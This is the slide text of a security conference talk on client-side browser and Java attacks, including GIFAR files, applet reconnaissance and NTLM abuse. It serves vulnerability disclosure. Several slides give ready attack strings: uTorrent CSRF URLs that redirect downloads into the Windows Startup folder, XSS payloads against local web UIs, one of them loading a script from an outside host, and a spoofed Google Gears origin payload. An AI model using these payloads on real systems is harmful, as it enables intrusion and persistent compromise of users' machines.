

Beyond Document.Cookie

Welcome



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Our Mission:

"Demonstrate a *feasible compromise* of an organization via client-side attacks that require *no code execution* and that even work against IE running in *Protected Mode*."

Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk

Agenda

- The Flaw of Domain-Based Trust
 - What Relies on Domain-Based Trust?
 - Overview of Same Origin Policy
 - Content Ownership and Content "PWNERSHIP"
- Abusing Domain-Based Trust
 - JVM DNS Rebinding
 - GIFAR Attacks
- Java: The Land Time Forgot
 - Java Network Reconnaissance
 - Loading Content from Local
 - Abusing NTLM
 - Repurposing Signed Content

- A Word About Online Word Document Editing
 - Repurposing Java Applets in ThinkFree
 - I am the Mayor of Oak Tree:
 Stealing Google Documents
- Local Web Servers
 - uTorrent CSRF
 - Cross-Zone Scripting
 - Azureus Web UI XSS
 - Eclipse Help System XSS
- Other Oddities
 - Windows Vista Version Trick
 - Google Gears Origin Spoofing

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

The Flaw of Domain-Based Trust

Ahhh... sweet Domain-Based Trust

Jesus, where will it end? How low do you have to stoop in this country to become president? – Hunter S. Thompson

What Relies on Domain-Based Trust?

- Same Origin Policy
- SSL Certificates
- Phishing Filters
- Human Trust

Overview of the Same Origin Policy

- Goal is to prevent a resource loaded from one site manipulating or communicating with another site
- For example, applets loaded from sitea.com should only communicate with sitea.com and not siteb.com

The Flaw of Domain-Based Trust

Content Ownership and PWNERSHIP

Abusing code.google.com file uploads

- Upload arbitrary files code.google.com by attaching a file to the "issues" portion of a project
- Uploaded file is served from code.google.com
- As each project has it's own directory, can't use crossdomain.xml file and Flash
- Java doesn't have this restriction, so upload an applet

Stealing GoogleCode Password

Billy (BK) Rios

Thoughts on Security in an Uncivilized World ...

Cross Domain Vulnerability in Code.Google.Com (with assorted Java Applet trickery)

If you're logged into google, you'll see some interesting items below!

Your GoogleCode Password: JM 5

code.google.com CSRF token: "1aec0859f4b725e2181b29ad7661ae35"

General Content Ownership Issues

- Any site that takes ownership of someone else's content is at risk
- Seems obvious if a site will take arbitrary uploads of executable code or dynamic server side code and put it in a predictable location
 - What if it's not the same domain and protected by cookies, i.e. domain rewriting?

General Content Ownership Issues Cont'd

- What about images, text, video, word documents, XML, etc? Is this OK?
 - XML leads to the upload of a crossdomain.xml policy file for attacking Flash for bypass of Same Origin Policy
 - Images, Video, Word Docs, all have possible file format flaws
 - What about GIFARS?
 - Wait, what's a GIFAR?
 - You'll see...

Abusing Domain-Based Trust

JVM DNS Rebinding

DNS Rebinding in the JVM

- There's been a number of ways to do it:
 - Java LiveConnect (in Firefox)
 - Applet Caching
 - Loading Applet's with the 'verbatim:' protocol handler
 - File:// and localhost Codebase Attacks
 - This has all been done... I'm sick of DNS rebinding, how about we instead, force an applet onto the server we'd like to attack?

Enter Jafar Attacks



You took too much man, too much, too much. – Benecio Del Toro

That's GIFAR Attacks, Not Jafar

- What's a GIFAR?
 - A combination of a GIF and a JAR resulting from the fact that a JAR keeps its relevant data within the footer of a file, whereas GIFs keep their relevant metadata in the header
 - Allows us to create a file that is both a GIF and a JAR
 - Will load just as any image would, but will also load as a JAR (Applet in this case)

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

GIFAR Demo:


In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.

Nothing ever gets hit there. - Author Unknown

This Image is Not the JAR You Are Looking For

- Jedi-mind trick on Java Virtual Machine that allows an image to also be an applet
- By the way, it's not just images
- Why is this useful? Well, how many sites allow you to load images?
 - Youtube, GMail, Yahoo! Mail, Nearly all Social
 Networking Apps, Forums, etc.
- We now control the Intarwebz.

Java: The Land Time Forgot



"90% of desktops run Java SE"

JavaOne 2008, Keynote

Java: The Land Time Forgot

Java Network Reconnaissance

Detect VMWare and VPNs

Applet can enumerate nw interfaces

```
java.net.NetworkInterface getNetworkInterfaces()
```

- Applet can enumerate nw interfaces
- Search for common names:
 - VPNs
 - VMWare
 - Wireless, Bluetooth

Determine the DNS Server

- Applets cannot learn DNS server
- Use JNDI to try to resolve hostname

Grep exception for IP:

```
java.security.AccessControlException:
access denied (java.net.SocketPermission DNSServerIP connect)"
```

In Vegas, I got into a long argument with the man at the roulette wheel over what I considered to be an odd number. - Steven Wright

Resolve Arbitrary Hostnames

Applets cannot resolve hostnames

```
java.security.AccessControlException:
access denied (java.net.SocketPermission hostname resolve)"
```

- Java Web Start isInstalled ActiveX
- Brute force common intranet hostnames

```
☐ IisInstalled (IisInstalled Interface)
☐ Methods

[id(0x00000007), helpstring("dnsResolve")]
BSTR dnsResolve([in] BSTR hostname);
```

Host-up Scan

- Applet can only connect to same origin
- But java.net.InetAddress contains:

```
boolean isReachable(NetworkInterface netif, int ttl, int timeout)
```

- Implemented in native code (no sandbox)
 - TCP connect port 7 (or ICMP echo)
- Get local IP and sweep subnets

Java: The Land Time Forgot

Loading Content From the Localhost

File & Localhost Codebases

- Applet loaded from file://
 - Can read files from the same directory
- Applet loaded from file:// or localhost:
 - Enumerate IPs bound to each adapter
 - Listen on port (> 1025), accept from localhost
- Applet loaded from JRE\lib\ext:
 - Gets java. Security. All Permission

Logical Same Origin Bypasses

Patched March 2008

<APPLET code="someclass" codebase="http://someurl"/>

```
public URL(URL context, String spec) throws
MalformedURLException

<scheme>: //<authority><path>?<query>#<fragment>

"If the authority component is present in the spec then the spec is treated as absolute and the spec authority and path will replace the context authority and path"
```

<APPLET code="http://foo/bar" codebase="http://baz" />

I hadn't been in Vegas 20 minutes when I got word that the bookmakers were offering three to one that Frank wouldn't show for my wedding. - Sammy Davis. Jr.

Java: The Land Time Forgot

Abusing NTLM



on NTLM

```
1. C -> S
              GET /AuthenticatedResource
               HTTP/1.1 401 Unauthorized
2. C <- S
              WWW-Authenticate: NTLM
              GET / Authenticated Resource
3: C -> S
               Authorization: NTLM <base64 type-1-message>
               401 Unauthorized
4: C <- S
              WWW-Authenticate: NTLM <base64 type-2-message>
              GET /AuthenticatedResource
5: C -> S
              Authorization: NTLM <base64 type-3-message>
              HTTP/1,1 200 OK
6: C <- S
```

For a loser, Vegas is the meanest town on earth - Hunter S. Thompson

Java & NTLM


- Use localhost partial Same Origin bypass
- Applet binds port 1234 on localhost

```
sock = new ServerSocket(1234, 0,
```


```
InetAddress.getByName("127.0.0.1")); // IPV4
```

- IFRAME src set to http://localhost.ph/234
- We've got a web server!

Which Means...



Demo



What happens in Vegas stays in Vegas - Jeff Candido and Jason Hoff

Java: The Land Time Forgot

Repurposing Java Applets


Repurposing Java Applets

 We may move the office example coming next back to here in favor of another office example later on.

A Word About Online Word Document Editing

Repurposing Java Attacks in ThinkFree

Repurposing Java: Who Do You Trust?




Users agree to trust publishers, not <Publisher, URL>

Brett, will you please just get me some cereal and some Pepto Bismol... I'm seriously dying man.

– Nate McFeters

What is ThinkFree?

- ThinkFree is a signed applet (for disk access)
- Looks a lot like Word 2003 ... by design



Repurposing Java in an Office 2.0 Application

- Loader JAR is signed, remaining JARs unsigned
- Attack: Host original loader with malicious 2nd JAR
- Silent compromise of all ThinkFree users
- Patched May 2008
- Java applets can be repurposed just like ActiveX


A Word About Online Word Document Editing

I am the Mayor of Oak Tree: Stealing Google Documents

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

Becoming the Mayor of Oak Tree

 Unauthenticated users could view arbitrary docs by simply guessing the doc_id parameter:



In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.

Nothing ever gets hit there. - Author Unknown

Becoming the Mayor of Oak Tree

Unauthorized users could edit arbitrary docs:



A weekend in Vegas without gambling and drinking is just like being a born-again Christian.

- Artie Lange

Other Paths to Becoming Mayor

- Use the email collaborators feature, then replace your doc_id with someone else's and email yourself their document
- Use the publish document to blog feature, then replace your doc_id with someone else's and push the document to your blogspot blog
- Upload a crossdomain.xml file instead of a doc



Locally Running Web Servers

uTorrent CSRF


What is uTorrent?

- Popular torrent client
- Web UI plugin available
 - Starts a web server on the local host
 - Useful for remote administration

uTorrent Issues

 Unfortunately, there were problems with the implementation, namely XSS and

CSRF:




In Vegas, I got into a long argument with the man at the roulette wheel over what I considered to be an odd number. - Steven Wright

uTorrent CSRF

- CSRF the "Move completed downloads to" option
 - http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- CSRF to add torrent and begin download
 - http://localhost:14774/gui/?action=addurl&s=http://www.whatever.com/file.torrent

uTorrent CSRF

uTorrent settings will now look like this:



Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk



Locally Running Web Servers

Cross-Zone Scripting

Cross-Zone Scripting

- Locally running web servers are vulnerable to Cross-Zone Scripting attacks
- What are the zones:
 - Internet (high security)
 - Local Intranet (medium-low security)
 - Restricted (very high security)
 - Trusted (low security)
- To get into the trusted zone requires the user or a trusted program to put you there
- We want to get into the Local Intranet zone

The "localhost" is in the Intranet Zone

- What sites are in Local Intranet by default?
 - All network connections established with the Universal Naming Convention (e.g. \\192.168.0.3\share)
 - Web sites that bypass the proxy server
 - Web sites with names that don't include periods (.)
- What's another name for 127.0.0.1 in almost every operating system out there?
 - localhost!
 - Contains no periods
 - All ports for localhost are fair game

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

What Advantage Does Local Intranet Give?

- What can we do in the Local Intranet Zone?
 - Same origin is not strictly enforced like in the Internet Zone
 - Useful for other attacks requiring the lowered privileges of the intranet zone like John's password hash stealer



Locally Running Web Servers

Azureus Web UI XSS


What is Azureus?

- Another popular torrent client
- Azureus comes with a web UI plugin built in, but not enabled by default.
- Like uTorrent's web UI, this is useful for remote administration of torrent downloads

Azureus Web UI XSS

- Sample XSS attack vectors:
 - http://localhost:6886/index.tmpl?search="));al ert('xss');//
 - http://localhost:6886/index.tmpl?d=d&t="));ale

rt('xss');//





Locally Running Web Servers

Eclipse Help System XSS

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

Locally Running Web Server in Eclipse

- Eclipse help system starts Apache Coyote web server... used for help for Integrated Dev Environment (IDE)
- IDE that is used as the basis for many different products
 - Adobe Flex Builder
 - IBM WebSphere Studio
 - SAP NetWeaver Studio
 - JBoss Eclipse IDE
 - Borland JBuilder 2007
 - MyEclipse
 - Zend Studio


Eclipse Help System XSS

 http://localhost/help/advanced/searchView.jsp?s earchWord=a");}alert('xss');</script>

 http://localhost/help/advanced/workingSetManag er.jsp?operation=add&

workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%

3E





Other Oddities

Windows Vista Version Trick

Vista Version Trick

- UNC notation can include a port number
 - **\\1.2.3.4:80**
- Sends some interesting requests
 - 8.7.6.5 - [30/Apr/2008:16:35:23 -0500]
 "OPTIONS / HTTP/1.1" 200 "-" "Microsoft-WebDAV-MiniRedir/6.0.6000"
 - 5.4.3.2 - [29/Apr/2008:16:21:38 -0500]

 "PROPFIND / HTTP/1.0" 200 "-" "Microsoft-WebDAV-MiniRedir/6.0.6001"

Vista Version Trick

PROPFIND / HTTP/1.1

Content-Length: 0

Depth: 0

translate: f

User-Agent: Microsoft-WebDAV-

MiniRedir/6.0.6000

Host: 1.2.3.4

Proxy-Connection: Keep-Alive

I hadn't been in Vegas 20 minutes when I got word that the bookmakers were offering three to one that Frank wouldn't show for my wedding. - Sammy Davis. Jr.



Other Oddities

Google Gears JSON Injection Origin
Spoofing Attack

Google Gears Origin Spoofing?

- Gears installs client-side code
 - DLL for IE
 - XUL object for Firefox
- When you visit a page that wants to run Gears code, Gears will prompt you and ask if you would like to trust this code

Google Gears Origin Spoofing

- An ActiveX object is created
- The factory function getPermission() is then called
- The information in the parameters for getPermission() is passed to the modal dialog box through a JSON object

```
"customIcon":
    "http://66.60.224.162/gears/gears_sm_1.png",
    "customMessage": "Trusted Google Code Gears
    Application for Pwning U",
    "customName": "Google Code\",
    "origin": "http://66.60.224.162"
}
```

Google Gears Origin Spoofing

"customName" parameter doesn't sanitize properly

```
{ ... "customName" : "Google Code", "orgin" : "http://code.google.com"}" , "origin" : "http://66.60.224.162"}
```



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